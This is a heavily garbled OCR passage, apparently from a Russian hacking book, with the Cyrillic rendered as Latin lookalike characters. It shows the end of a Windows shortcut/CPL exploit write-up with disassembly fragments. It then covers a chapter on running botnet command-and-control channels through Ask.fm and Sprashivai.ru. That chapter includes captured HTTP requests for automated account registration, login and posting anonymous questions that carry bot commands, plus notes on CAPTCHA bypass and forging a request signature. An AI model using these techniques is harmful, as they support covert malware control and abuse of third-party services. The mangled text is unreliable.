:00007ffa b6f90cab 4c8be9 ri3,rcx
-00007ffa’ hefancae 4532FA ridd ridad

Puc. 2.24. BuinonHexue Ha aTane BbizoBa ¢yHkuum _GetPidIFromAppletld
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@OyHKUUS YyhTaeT Ha3BaHHe anruieTa u3 >nementa ItemID. DkcrionT MUcnonb3yer CTpoKy
«Microsoft», HO TaM, MO CyTH, MOKET OBITh YTO YTOHO:

099: def generate cpl applet (path, name=name)
100: name += b'x00"'
174: def ms_shllink(path, name=b"Microsoft"):

JInsg nonyueHus JajbHEWIIMX CBEAECHMH 00 anmiere cucTemMa JOoMKHA 3arpy3uTh ero. 1o
npuBoaut Hac k hyHkuun CPL_Load CPLModule (puc. 2.25).

w )

P © bt

strchrw (00007€fa b717Fa65))

nou r8d, esi dec tpid1FromappletIdsOxidf (00COTFFa bEFIC
lea rax, [ropesiine

1ea

ca1l » Comentstringa o Tes_ oh)

test Veax 3:00¢ 0 1545 1 r [SHELL32!_sp_sHExpandEnvironsentstringsy (00007Ffa h717920;
i iRanalsolis.. s 1gtIdi0x2:b (00007FFa bEFOC
XoF

1ea rox, [rbpetdmhenar_25¢] ; unsigned __int1s o

call  7GPL_{oadCPLHodul e@APERUCPLHODULE@AFEUCHAZ {5

test  rax, rax

jz loc_1883406C3

sil; rimp

0 80 fc 0a 00
00 00 00 00 00 90 00 .

Puc. 2.25. Otnaaka akcnnouta. MOMEHT Bbl3oBa yHKLUMK, 3arpyxatoLein annnet

Orta ¢yHKkuMs HakoHel-To 3arpykaeT Hawi DLL npu momomu LoadLibraryW. Ilo-
CKOJIBKY HCIONB3yeTcsi MMEHHO 95Ta (yHKUMS, a He ee pacluMpeHHas BepcHs
LoadLibraryExW, npu 3arpy3ke OUOJHOTEKH BBITIONHSAETCS 3aLUUTHIA B Hee Meisoas.
[Mpouecc 3amyckaeTcs B KOHTeKCTe explorer.exe M, COOTBETCTBEHHO, IMOJTYYaeT MaKCH-
MaJTbHbIE BO3MOXKHBIE [UIsl TEKYLLEro NMojib3oBartes npasa (puc. 2.26).

Shorteut Tools

Home Share

Manage

i > ThisPC » D

-t

/D Drive (D] Kali Live

o Narne Date mndified Tvpe Sue

R Pictures

8 vioeos - Fites Curren
% Local Disk (C:)

Calculator - o X

STANDARD

b Network

| Rawargs Funcinfo Source Addrs. Headings Nonvilstieregs Famenums Sourcearss More Less

e+0;
ntro Panelrrﬂder
HELL 32 iccontrolpanelFolder

rindows_storage!cshellLink
rindows_ ﬂorage‘c‘he] Tuink:
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MosxHO npocMOTpeTh npuMep paboThl SKCIUIOMTa Ha BUAeOposuke no aapecy https:/
vimeo.com/232014058.

KpaTtko o natye

Pasymeercs, pa3paboTuuKu He CHIEIH CJI0XKA PYKU M BBIMTYCTHIM MaT4 /1 BCEX YSA3BH-
MbIX Bepcuit Windows. DTo 0JJMH M3 caMbIX MalleHbKHX (PUKCOB, CO3aaHHBIX B Microsoft,
u3 Bcex, uro s Bumen. [lo cyru, mobGaBunace Bcero oaHa (yHKLMS Tepel BbBI3OBOM
CPL_LoadCPLModule (puc. 2.27).

patched

agak

v rbx, rax 16 mov TEx. rax
st rax, rax 17 eez  rax, rax

Puc. 2.27. NameHeHus B Bubnuoteke shell32.dll nocne natya

910 pynkuus _IsRegistered CPLApplet. OHa npoBepsieT, 3aperucTpUpOBaH JId COOTBET-
CTBYIOILMM amnruieT B MaHelu YIpaBJeHHS, U eciH HeT, To 3arpy3ka DLL ormensercs.
Bor kak Beirnsaur diff kona: http:/www.mergely.com/e4gIVDBV/. bynem HanesTbes,
YTO C YETBEPTOro pasza y Microsoft Bce nosyuunnoch kak Hazao!

BbiBOAbLI

B 3aktroueHHe XodeTcs cka3aTh: He Bcerjia 0ecCMBICIIEHHO NPOBEPATDH TO, YTO Yxke ObLIo
uccrenoBaHo 10 Tebs. UM, kak mokaspiBaeT HAMISOHBIA MPUMEpP C 3TOHW YA3BUMOCTBIO,
Ja)Ke eCITH BBIMyIIEH MaTy — 3TO COBCEM He MOBOJ OMyCKaTh PYKH W CUMTATh, YTO Oar
YCTpaHEH OKOHYATENbHO.
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3. Pa3bupaem meToq obLweHusa manesapu
C ynpaBnsilOLMM cepBepomMm

yepe3 aHOHUMHbIE CepPBUCHI

BOMNPOCOB U OTBETOB

epmaH HamecmHukoe

Co3aHHe aHOHMMHOTO JIBYCTOPOHHET 0 KaHalla CBS3M — IMOCTOSIHHAs FOJIOBHAst O0Jb 1S
coznareneit BpeanoHocHoro [10. B 3To#i raBe Mbl Ha npumepax pasdepeM, Kak CepBHCHI,
pa3pabOTUHUKH KOTOPBIX MCMOJIb3YIOT HEJ0CTATOYHO CHIIBHYIO 3allMUTYy, MOTYT IpeBpa-
TUTBCA B TAKOM KaHaJI.

Kak Tonbko He W3BOpAvMBAKOTCS 3J10YMBILLIEHHUKH, YTOOBl CKPBITHO MepenaBarh JaH-
HBIE MEXIY MaJIBapblo U KOMaHIHbIM LeHTpoM (C&C, miu, Kak UX Ternepb MOJHO Ha3bl-
BaTh Ha BoeHHbI sag, C2). CTOPOHHME CEepBUCHI 3[€Ch 3aYacTylO NpeICTaBIISIOTCS
cambIM yIoOHBIM BapuaHTOM. B xox uayT TBUTHI, kOMMHUTBI Ha GitHub wnu otnenbHbie
PENO3UTOPUH; J1ake KOMMEHTBI K BM/Ie0o Ha YouTube MoryT oka3atbcst TaiiHbIMM Moca-
HUSMH MEXIYy MauiMHaMu. Mcrnonb3oBaHMe TakUX CEpBMCOB OTKPBIBAET /s OnepaTtopa
OOTHeTa HOBbIe BO3MOXKHOCTH. B 4acTHOCTH, OH MOXKeT He OeCTOKOUTBLCS O CMeHe ajpe-
COB YMNPaBJISIOLIMX CEPBEPOB — JOCTATOYHO MPOCTO OCTaBUTh TBHUT, B NMPHJIOKEHHOM
K KOTOPOMY KapTHHKe OyJIeT coiepakKaThbes aKTyasibHas HHpopmaLus.

VY OIHOCTOPOHHErO KaHaja CBSI3H €CTh CBOM Hel0cTaTKU. Bo-nepBeix, Takoro 60Ta jerye
BBIABUTH MO 0Opasily Tpaduka. Bo-BTOpBIX, aKkayHT Ha cepBUCe MOTYT 3abJIOKHpOBaThH
WK OH MOXET MOMAacTh B MOJIe 3peHUsI UcciaeaoBaresiell. OT0 CHIbHO 3aTPYAHUT Aajib-
Helimue onepauuu. Coznanue 6€30MacHOro IBYCTOPOHHEr0 KaHalsla CBSI3H C UCTOJIb30Ba-
HHEM CTOPOHHMX CEPBUCOB — 3aj/la4ya HeTpuBUasibHas. Eciin He npuberars Kk KakUM-J1HO0
XaKaM, TO BCe, YTO MOYKHO MpPEeANpPUHSATE B TAKOM cilyyae, — 3TO pazaath 60TaM y4yeTHbIe
JaHHbIE, KOTOpbIEe T€ OYAYT MUCMOJIBL30BaTh /ISl CBSI3U ¢ KOMaHIHBIM cepBepoM. To ecTb
MOCTPOUTH YTO-TO BPOZE CXEMbI, MOKa3aHHOM Ha puc. 3.1.

DTOT BapuaHT HaKJIAIbIBaeT LEJbld psiJ OrpaHUYEHUH Ha MpOBOAMMBIE onepauuu. Tak,
HeoOXoauMo obecrneyuTh 00Ty BO3MOXKHOCTb ONEPAaTUBHO OOHOBJISATH yUYETHbIE JAaHHBIE
OT cepBHca, €C/Id cTapbie 3a0J0KUPYIOT. DTO HE TaK CJIOKHO OpPraHU30BaTh C MOMOLIbIO
OHOCTOPOHHEro kaHana cBsizd. Ho mnpoOiemMa BBIXOOWT Ha HOBBIH YpOBEHb, KOrja
4ucao 60TOB HauMHaeT pacTH. bosblioe KoaMYecTBO 3ampocoB ¢ pasHbIX IP k ogHOMY
aKKayHTy OyJeT Kak MHUHMMYM IOJ03pUTEIbHBIM. MO)KHO MOMBITATbCS 3aMECTH CJIEIBI,
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peanM30BaB CUCTEMY paclpOCTPaHEHHs YUETHBIX 3anucei cpeau 60TOB — 4TOOBl OHH
nepefaBajd UX JpYr Opyry. DTO 3HAUUTESbHO CJIOKHEE M CO3[aeT JONOJIHUTEIbHBIE
CTaTbU pacXo0B 151 KHOEpKPUMHUHAIBHOTO OM3Heca.

Ho uto0, ecnu nouckath BOZMOXKHOCTh 00XOAUThCs Oe3 yueTHbIX 3anvcei? B Takom ciy-
4ae U3 AMarpamMbl Bblllle MOXHO OblsI0 Obl yOpaTh BCe, UTO CBA3aHO C JIOTMHAMM U Mapo-
asmMu. M 3T0 MpUBOIUT HAC K aHOHMMHbBIM CEpBHCAM.

-

Bot 1 Bot 1

login/password
login/password

Bot 2

Third-party cepsuc . Q
Oneparop u/nnu
C&C-cepsep

login/password

QM/NV

Puc. 3.1. BapuaHT cBa3u 60THETa C KOMaHAHLIM CEPBEPOM

AHOHUMHBIE cepBuUCbI BONpPOCOB U OTBETOB

OpnuH U3 NpHUBJIEKaTeTbHBIX BAPUAHTOB — HCIOJIB30BaTh CEPBUCHI AHOHUMHBIX BOIIPOCOB
u otBeToB TUNa Ask.fm, Sprashivai.ru u npounx. Botr nouemy oHM Tak XOpOILO rOASTCSA
JU1s NOJOOHBIX LIETIei:

O ouwu paborator no HTTP u kak munumym noanepskusator HTTPS;

O anpeca cepBHCOB aHOHMMHBLIX BOMPOCOB M OTBETOB M3BECTHBI BEHAOpaM security-
peleHuil U MpUCyTCTBYIOT B Oenbix crickax Moaysei Application Control & URL
Filtering;

O pa3paboTurKam TaKUX CEPBUCOB HE MHTEpeCcHa 0€30MacHOCTh COOCTBEHHBIX PELLECHHH,
a TeXnoAAep;kKa NacCHUBHa.

C nepBbiMM ByMs MyHKTamu Bce moHsTHO. HTTP npakthyecku Besne paspelieH, a
HTTPS no3Bonur eme W 3amMackupoBaTh oOpaileHHs K cepBucy. YTo Kacaercs
Application Control u Bcero Takoro, To Kak MUHUMYM Tpaduk oT 60TOB OyJeT CUMTATLCA
«pa3BiieKaTeIbHbIM». ITO CKOpee co3aacT MpoOsieMbl sl COTPYAHUKA, HA KOMIIBIOTEPE
KOTOpOro padoTaet 00T, UeM peabHO MPUBEET K PACKPITHIO.

B nocnenHem nyHkTe MHe oBesoch yoenutbes indHo. B ¢epane 2017 roaa s ornpaBui
COTPY/HUKaM TeXMoAAepKku cepBuca Sprashivai.ru nHGopMaLuio 0 TOM, UTO WX 3aLIM-
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Ta OT craMa He paboTaeT, a MpeANnpPUHATHIE NOC/Ie CIMBA Mepbl 6€30MacHOCTH 3Ty CaMyrO
Ge3omnacHOCTh MOAPHIBAIOT. [l MeHS He CTalo HEOKHIAHHOCTBIO TO, YTO OHM TMOJ-
HOCTBIO TIPOMTHOPUPOBATK MO pernopT. He mymato, 4to cutyarus ¢ ApyruMH cepBUCaMu
KapIMHATIBHO OTJIHYAETCS.

Kak ¥MeHHO peanu3yercsi ABYCTOPOHHHI KaHAJ CBSI3M HA OCHOBE TaKUX CepBHCOB? DTy
3a7a4y MOXKHO pa30MTh Ha [Ba HTana:

1. @opmupoBaHUE YCTOMYMBOrO KaHaja CBSA3M I NEpeiauu JaHHBIX B HAIPaBJIEHUU OT
6oTta k oneparopy.

2. (DOle/Ip()BaHl/le KaHajla CBA3M V14 NNepeaavyu JaHHbIX OT Oorneparopa K ooram.

HauneM no nopsaky.

Kanan cBsa3u «onepatop — 60T»

Ha sTom sTane Huuero ocoOeHHO ClI0KHOTrOo. bosbinas yacTe MaJiIBapH, KOTOopas HCIO0Jib-
3y€eT KaKue-11uo0 CECPBUCHI AJIsd obecrneueHus OIHOCTOPOHHEI0 KaHajla CBA3H, pa60TaeT
HMEHHO MO 3ToM cxeme. B koHTekcTe CEPBUCOB BOINPOCOB U OTBETOB 3TO peaIU3yeTCH,
Hanpumep, CIaeaAyrounum 06pa30M:

0 omepaTop «OTBEYaeT» Ha BOIMPOC M MPHUKJIAJBIBAET K OTBETY H300pakeHHe, coepxKa-
1iee B 3aKOAMPOBAHHOM (hopMe KOMaHbl 17151 60TOB;

3 Gor MNPOBEPACT, HE NMOABUIIACH JIK HOBBLIE NAHHBIE B UCIIOJIB3YEMOM OMNEPAaTOPOM aKkKa-
YHTE, U BBITIOJIHAET HeOOXOAuMbIe IeHCTBUS.

3mech ecTh HECKOJIBKO MHTepecHbIX MoMeHToB. Korma-uuOyab manBapb Oyaer oOHapy-
JKEeHa, M UCIOJIb3yeMbIi aKKayHT PacKpOIOT W 3abJIOKMPYIOT, Kak Obl ero HU 3allyiuai
oneparop. [ToaTomMy B Takux ciaydasx rnpuberaroT K MexaHW3MaM aBTOMAaTHYEeCKOro CO3-
JaHUS YUETHBIX 3aMHUCed — 3TH MEXaHU3MBI y)Ke XOpOLIO 0TpaboTaHbl aBTOPaMH BpeIo-
HocHoro [10 u ucronb3yrores Uis CO3AaHKs TOMEHHBIX HMEH.

D10 MpUBOAMT pa3paboTumka BpeloHOca K Ceayrolled mpobieme: 4ToObl aBTOMATH3H-
poBaTh PErrMCTpaLMIO AKKAyHTOB ([a M aBTOPU3aLMH TOXKeE), CKOpee Bcero, norpedyercs
HalTH MeTon oOxona Kamyu. PaccMOTpUM 3TH MeTObl Ha MpUMepax BbIOpaHHbIX HAMH
CEPBHCOB.

Peructpauus

Sprashivai.ru ucnonessyer ReCaptcha (puc. 3.2), nostomy ans aBTOMaTu4eckoi peruct-
paLMM aKKayHTOB HYXKHO OyeT 03a00TUThCS 00X0A0M TaKOH 3aLlUTHI.

POST-3anpoc Ha perucTpaumio akkayHta Sprashivai.ru BEITISIUT Tak, Kak NMokazaHo Ha
puc. 3.3.

Ask.fm xe He comepxuT BooOLIe HUKAKOH 3alUThl OT aBTOpeructpauru. dopma peru-
cTpauuu He TpeOyeT BBOJA Karyu, a WTOrOBBIM 3ampoc MMEeT BHJI, MOKa3aHHbIA Ha
puc. 3.4.
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Pervcrpaums

3aperucTpupyitecs G6ICTPO C NOMOLLBIO COUMANLHBIX CETEeR MK BOCNONLIYITECh 0BbIMHON
perucrpauven.

Jorwn: | xakep_account

Email: = xakep_account@mail.com

Naporno:

Bui 1e pofor?

CAPTCHA

M EAREEPSAAIT | VOSOARA RO A

Pwuc. 3.2. Sprashivai.ru ucnonsayer ReCaptcha

Request

Headers

POST /signup/quick HTTP/1.1

Host: sprashivai.ru

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.12; rv:57.0)
Gecko/20100101 Firefox/57.0

Accept: application/json, text/javascript, */*; gq=0.01

Accept-Language: ru-R0O,ru;g=0.8,en-0S;g=0.5,en;q=0.3

Referer: http://sprashivai.ru/signup

Content-Type: application/x-www-form-urlencoded; charset=0TF-8

X-Requested-With: XMLHttpRequest

Content-Length: 432

Cookie: _ym_uid=1508673892182709891; _ga=GAl.2.1243396374.1508673892;
_gid=GAl.2. 1533386765. 1512975753; check=1l;
spr_c=edadcfc26292b179570e5198614c6d82188edbf19aedddacc332f3cb678cedfc;
JDDI=HAVREW3ASGSK; _ym_isad=2;
usersession=87254ea973796f5%eb6cf979afad22al3£f58f4c6bla28£6c48803a1553dds8
¢77; _gali=btn_signup_finish

Connection: close

email=xakep_account$40mail.comiusername=xakep_account&pass=xakep_account&
g- recaptcha—response—o3A06me~ZveZNu3GﬂGh4szSVveobSRtuOtEe JkS1tYBkQOaIG
BnlOEZTCBb-EQBnlS5mFa5XKbRPEhPXCA4pXEK9ins0aEveSCL8zvms90T£30IxeNVg-a8NNZ
9n68-HLMNC_yHB50whdflXyoQIlaC-8sqzaT50HkBOGr7_HBbRhrLr_-ciWZd2tBeI9NihRuLQ4 -
f3QpOGIO1226f6rGByrQDF3$BCFhPyv PUNUOME4uh6K0x-SURM3400BobFY1MZ £DXNOMYCOB
-ibImZcqmiRy3dcnU2YPXEPe722d3F9MRCF3n~IxXY2nr 2AaZ2K2Ti0TILK5_i_ul

Puc. 3.3. POST-3anpoc Ha peructpauuto akkayHTa Sprashivai.ru



O0—— 48 —0O

Reqguest

Headers THex }

POST /signup HTTP/1.1)
Host: ask.fm
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S5 X 10.12;
rv:57.0) Gecko/20100101 Firefox/57.0

Accept: application/json, text/javascript, */*; g=0.01
Accept-Language: ru-RU,ru;g=0.8,en-05;9=0.5,en;9q=0.3

Referer: https://ask.fm/signup

Content-Type: application/x-www-form-urlencoded; charset=0TF-8
X-Requested-With: XMLHttpRequest

Content-Length: 461

Cookie: locale=en; uuid=ee0fll0b-52d7-4ab9-84ea-97eachlcbbaf;
country=RU;
_m_ask_fm_session=WWJIkNW1=RUIRSGZPNFNMa2lWT2g2L0wr0HB=0XZiRkREVK
hIWkttaEhIZUhXcWQrT1RFOTR10GhIUlB~RlFB’szT&JTUmtTQUR?ZmEAWnl%43
JTYTFYUVRaRzZdALQUVpcUZzZ0Egvb01lzWmOrRmlsZELICRGABUXQzcO0F2dFVaYnELRT
d3ekM4aEJ¥XK1lc3cX1lqekxjZWe3TWp3WDFASFIISTImdDIZc1dVMKpCTTBgbUVIRO
UyUBZ2YXhaai9zQ05sSUpyOGIHeWH IWHShOV1iVnVAVENNHMERhUWIkelp2ajc5Rk
10L25CR2VPAGXtaEJ1MX1BbUI4VOgVvY2RDM3phZy0tbVBIY21VL2MvOVZaNlpVeD
FaMTc3dz09--2074b03678ba3f246cbd5aaal4f7c3d7b50aeb38; __ _qca=P0-1740
request_method=POST

Connection: close

utf8=¢E289C%938authenticity_token=K1ljYiKgJAeDD6LORDjh%2Fkuvdelt2U
mtMLO0xBs7D4vGER3UkdW80%2BMend tchYmgWBr j4kGgw25ERAE9Mg9eRE5Q83 D83
D&user$5Btz_id%#5D=Asiat2FYekaterinburgsuser¥5Bgmt_offset35D0=300&
user®5Bemail$5D=xakep_account¥4Omail.comsuser’5Bnamed5D=xakep ac
count&user$5Bloging5D=xakep_accountsuser¥5Bpasswordé5D=xakep_acc
ount&user$5Bborn_at_day35D=18&user¥5Bborn_at month%5D=2&user¥5Bb
orn_at_year$5D= lQQl&user%SBgender ide5D= 2&user%5Blangunge code$5
D=en

Puc. 3.4. POST-3anpoc Ha peructpauuto akkayHta Ask.fm

EIHHCTBEHHBIM MOMEHT, KOTOPBIH 3/1€Ch HY)KHO Y4€CTh, COCTOMT B OTIIPaBKE Ha cepBep
napamerpa authenticity token, KoTOpeIli BKIIFOYEH B KO/ CTPAHMILIBI PETUCTPALIUK U BbI-
[JISAMT PUMEPHO Tak:

<input type="hidden" name="authenticity token" value="K1jYiKgJAeDD6LORDjh/
kuvdel t2UmtMLI0xBs7D4vGfK3UkdW8o+Mend t zhYmgWBrj4kGaw2 5ERAf9IMg9eK50==""/>

B o01em, ¢ aBTomMaTHueckoi peructpauuei ans Ask.fm Het Hukakux npobGiiem, nocta-
TOYHO ClIeNiaTh JBa 3arpoca: OAMH — /IS MOJYYEeHUs! TOKeHa, CeCCHU U mpovel uHpop-
MalHHu, Ipyroi — ¢ LeJIbI0 perucTpaluy akKayHTa.

ABTOpMU3auuma

OnepaTtopy Hy)KHO UMeTb BO3MOXKHOCTb aBTOMAaTU3UPOBATh, KPOME PETrHCTPaLMH, MPO-
LieCC aBTOPU3ALIMH C 3aperucTpupoBaHHbIMU yueTkamu. Hu Sprashivai.ru, Hu Ask.fm ne
UCTIONB3YIOT Kamuy NMpH ayTeHTU(HKALMU 0JIb30BaTENs, YTO CYILIECTBEHHO YMpOLIaeT
3agavy. [Ipu 5TomM Sprashivai.ru BeluMciseT Xel naposis Ha CTOPOHE KJIMEHTa U OTChI-
JIaeT CepBepy YXKe ero, a He caM Napoib B OTKPLITOM BUe. BOT Tak BBIMISIUT 3ampoc Ha
aBTopu3aluio B cepBuce Sprashivai.ru (puc. 3.5).

3amnpoc Ha aBropu3auuio 415 Ask.fm nokasax Ha puc. 3.6.

Onsare-Taku Ha Ask.fm MblI BUAMM, UTO B KOJE CTPAHHULIbI C BONPOCOM COJEPIKUTCSA Ma-
pameTp authenticity_token.
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Reguest

Marams T HeadersT Hex ]

POST /ajax/signin HTTP/1.1

Host: sprashivai.ru

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S5 X 10.12; rv:57.0)
Gecko/20100101 Firefox/57.0

Accept: application/json, text/javascript, */*; g=0.01

Accept-Language: ru-RU,ru;g=0.8,en-05;9=0.5,en;g=0.3

Referer: http://sprashivai.ru/apps

Content-Type: application/x-www-form-urlencoded; charset=0TF-8
X-Requested-With: XMLHttpRequest

Content-Length: 57

Cookie: _ym_uid=1508673892182709891; _ga=GAl.2.1243396374.1508673892;
usersession=2c247c9409cf2728291a7clc3cdllab6fc34allfcc7b8f78c540cb5a6254d7
9d8; check=1;
spr_c=f4edd8be7958e95acaaadc293845763ab2767a6aelclecd2f£74a239b7c93¢c22;
JDDI=HAECBW1ASGSK; _gid=GA1.2.337572478.1513323360; _ym_isad=2; _gat=1;
_gali=signin_btn

Connection: close

email=xakep_ account&pass=538f2blclelé426d8babcf744b8ebal’

Puc. 3.5. 3anpoc Ha aBTopu3sauuio B cepeuce Sprashivai.ru

Request

Pgrams Headers THex ]

POST /login HTTP/1.1

Bost: ask.fm

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.12;
rv:57.0) Gecko/20100101 Firefox/57.0

Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: ru-RU,ru;q=0.8,en-05;g=0.5,en;g=0.3

Referer: https://ask.fm/login

Content-Type: application/x-www-form-urlencoded; charset=0TF-8
X-Requested-With: XMLHttpRequest

Content-Length: 189

Cookie: locale=en; uuid=eel0fll0b-52d7-4ab9-84ea-97eacblcbéaf;
country=RU;
_m_ask_fm_session=bUcwclBLck5nQklrQ2FnMG5tRIMS5Y2pWd1lp6K2LIYULDN2
VVL2dgNKFOdORhOE9sYzJjelBTWmNpMSt60E4 5RVRESWpza0xsbFJiZmlualMwQV
palOtkaOpdOBINOTF4eFV5RmMFOQnoxXRUIFYm5QTDApSk54NF1VvTHPQUEQZZEKXSG
hXbENIWS9BVGHsMnNjU3RWYSIjMKZ50VZDaXp¥bndQQlphMIBTRZRVRWIVWFk251
RmdmtXait5W11SYUZEa3RrZ2jYrbzJpVktkSnBhMBlsdFOwY11LZFBtbWVVWV1kcW
EwRUK1TmFazvz0Q1ldIa3M1Uk1lLcUO4yN3Q20F1WaiOtUEVUNFkz0S9uTjBCAd0Y2¢cwW
h35059qQT09--32511e325ebf67£f91fd77££18a7149eb0330353d;
__qca=P0-174024676-1513068136562;
pa=1513068196658.81370.3103731622643937ask.fm0.4044327535649396+
1; OX_plg=pm

Connection: close

utf8=%E2%89C893&authenticity_ token=RjoGOMriYXLWOgPWWpKxn5dFtmEC4If
aWLjgquDsFTBhsZCdRKmHZKBSdjNjdkQ2aj8bP1lbr02QROMTIVIQVMSGtQE3DE3D&1lo
gin=xakep_account&password=xakep_account&remember_me=1

Puc. 3.6. 3anpoc Ha aBTopusaumio Ans Ask.fm

NMy6nukauus nHcpopmaumm ansa 6oToB

Tyt Bce Tak e npocto. IlepBbiii 3anpoc oneparopa A0/KeH coOMpaTh UMEIOLIHeCs BO-
NpoCkl, @ BTOPOi — OTBeuYaTh Ha HUX Tak, 4YTOObI caM OTBET WM NMpUIIOKeHHas WHpop-
Malus Hecsa B ceGe mosie3Hyro Harpysky uis 6otoB. S He Oyay mpHKiIaasiBaTh Croaa
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CKPUHLIOTBI 3aMpOCOB, MOCKOJIbKY OHHM BBIVIAAAT aHaJoru4yHo. Ecau ecTh jkenaHue,
MoXKelllb B3sTh Burp Suite u camocTosTebHO yOeIUThCS, YTO B 3aMpocax HeT HUKaKOM
Marum.

KaHan cBsizn «60T — oneparop»

DTOT KaHaln CBA3M pealu3yercs 4epe3 OTNpaBKy aHOHUMHBIX OTBeTOB. CepBHC
Sprashivai.ru, eciu MHe He M3MEHSeT MaMmsTh, BCEraa MOANECPIKUBAT TaKyl BO3MOX-
HOCTh Oe3 aBTOpHM3aLMK MoJib30BaTess, a BOT Ha Ask.fm oHa nosBHIack CpaBHUTENBHO
HellaBHO. AHOHMMHBII Bornpoc nosb3oBaresmto Ask.fm B Buae 3ampoca BBIMISOUT MpH-
MEpHO TaK, KaK Moka3aHo Ha puc. 3.7.

Reguest

_%M Params T Headers THex }

POST /xakep_account2/ask BTTP/1.1j
Host: ask.fm

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.12;
rv:57.0) Gecko/20100101 Firefox/57.0

Accept: application/json, text/javascript, */*; g=0.01
Accept-Language: ru-RU,ru;g=0.8,en-0S;9g=0.5,en;g=0.3

Referer: https://ask.fm/xakep_account2

Content-Type: application/x-www-form-urlencoded; charset=0TF-8
X-Requested-With: XMLHttpRequest

Content-Length: 256

Cookie: locale=en; uuid=ee0fll0b-52d7-4ab9-84ea-97eacblcbhbéaf;
country=RU;
_m_ask_fm_session=UGx3bGlVeEJBajRORWILWIEVWKRBTytkN2J3cINmcU1PZF
FMaEM1WnpQWXdUQ1lRsb2dM52U3ajRReXIJDR2ZmSMEYNV1IHdGIERIVRYWlZWFcraw
5uYkFabjR1leSsvMmUXSX1rWlBZRXNoUOO8vWmImMisvdG95b2hZMjNzZM1TGMUZENX
h3jZyINK3INMNNhiS0550GZVbOXCQOLtYMGhhVKMrZnJIYbjBYZmODSWIRL2ZMTGX50V
ZUTzIVOW92ZGVIVKZEdVIIVeFEVRK1aOEZVWBFUV2FXRVN1ZmdsZ0pvaOhSNEUSRD
RIWVC1Y1RNSEPZY3IObDYOVNKkxZSIhNVorwkR1eS0tSH110XYxc3NaQzIMM1EXrvVD
JOZUXpUT09-~feab13b34bad0320380602a7£5dccfd9899b2168;
__gca=P0-174024676-1513068136562;
pa=1513578851625.3280.002258286111606944ask.fm0.8307936020642742
+1; question=Hello!%20This%20is%20anonymous¥20question!
Connection: close

utf8=%E2%9C8%93sauthenticity_ token=RvmY¥13101WgBMwdz8mKDQgs2Z2u8TQss
2LGDGYFFNMgCrnhpoTYHNWE 2FNgLCXOMQDIsVeI8B7Th6£4kV11Jk4 TMkwe3D83D&
question®5Bguestion_text35D=Hello!+This+is+anonymous+question!s&q
uestion$5Bterms_accepted¥5D=0&question¥5Bterms_acceptedi5D=true

Puc. 3.7. AHoHUMHbIA Bonpoc nonb3osatento Ask.fm B Buae 3anpoca

Brimonusiercs POST-3anpoc k /<account_name>/ask, comepxaiinuii yke 3HaKOMbIi Ham
authenticity_token u3 xona crpanvubl U cam Bompoc. MHTepecHO, uTo 3anaBaemblii
Bornpoc ayonupyetcs B Cookie, oTnpaBisieMol B 3ampoce, — 3TO HYXHO Y4ecTb MpH
aBTOMaTHU3aLlMK [TpoLecca.

Jlns Sprashivai.ru kapTiHa HeMHoro uHas (puc. 3.8).

B nmapamerpax BUAHO MMs aKkayHTa, (uiar, 03Ha4aroKi, YyTo Bonpoc OyaeT 3aiaH aHo-
HHMMHO, a TaKKe€ caM BONpPOC M [IBa CTPaHHBIX Xella. B mpolecce aBTopU3aLuu Mbl yxe
BCTPEYAIM HEYTO Moj00HOe — rMoxoxe, paspaboTuuku Sprashivai.ru npocro nuraror
HE3I0pOBYIO TATY K XELWIMPOBaHMIO. XOpoluask HOBOCTh COCTOMT B TOM, YTO 3Haye€HUE
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napameTpa hash TMPUCYTCTBYET B KOAE CTPaHHUILIbI, C KOTOpOﬁ MbI U NbITAEMCA OTIPABHUTH
BOITPOC MOJIB30BATEIIHO:

<button id="ask btn" class="btn form yellow"

onclick="Responses.ask ('xakep account', 'c471d1£28a094d632a131c0£fd857b361037cc2b
99a9%p41b67130dbcd6£d1d089"') ; return false;'">Cnpocurs</button>

OTCIO[la BBITEKAC€T U BTOpass HOBOCTb, HO YXKE€ IUIOXasd — 3HAYCHHA NapaMeTpa Slg Ha
CTpaHULIC HET. ITo Bceit BHUIUMOCTH, OHO BBIHHUCIIACTCSA B X0O€ pa60T1>1 KaKOro-To CKpHurIi-
Ta. A 3TO 3HA4YUT, YTO IJ1d BOCCTAHOBJIEHUA alIrOpUTMa r€eHepaluu 3TOro rnapaMeTrpa Ham
HY>KHO peBepcUTh 00GyciMpoBaHHbIi JavaScript.

Reguest

Headers

POST /question/ask HTTP/1.1}
Host: sprashivai.ru
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.12;
rv:57.0) Gecko/20100101 Firefox/57.0

Accept: application/json, text/javascript, */*; g=0.01
Accept-Language: ru-RU,ru;g=0.8,en-05;9g=0.5,en;g=0.3

Referer: http://sprashivai.ru/xakep_account

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLBttpRequest

Content-Length: 218

Cookie: _ym_uid=1508673892182709891;

_ga=Gal.2. 1243396374.1508673892;
usersession=62793d0617789908930¢c860db48dd6503b895£03b0fafb0al34£4
£97fa%4e2¢cf0; check=1l;
spr_c=edadcfc26292b179570e5198614c6d82188e4bfl9%aedddacc332£3cb67
8cedfc; JDDI=HACGFW2ASGSK; _ym_isad=2;
_9id=GA1.2.1688565648.1513580557; _gat=1; _gali=ask_btn
Connection: close

username=xakep_account&anonymously=yes&question=Hello!+This+is+a
+test+question!&hash=c471d1£28a094d632al131c0£d857b361037cc2b9%a9
b41b67130dbcd6£d1d089&sig=£f9£f98ec6d474bbdd166330b280a0524dcd0256
5dcédecbd4c32¢c24b928fae97a88

Pwuc. 3.8. AHOHMMHBIA BONpoC nonb3oBartento Sprashivai.ru B Buae 3anpoca

Hebarrep Firefox nozsonsier onpeaenuts GyHKUHIO, KOTOpas reHEpUPYeT 3HaYEHHE Sig.
Kak BugHo Ha puc. 3.9, 3HaueHne 3Toro mapamerpa hopmupyercs ¢yHkuuerd hash_ask
C IBYMsl TapaMeTpaMH.

} st.sprashivai.ru
27/nBectBeeaBss

113 1 peagin
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rigger(*dis
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8/4830e425118¢ ue” ], fach sgin
f[x])( =5 breakbhif(1t)
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tpe.googiesyndication.com

vk.com

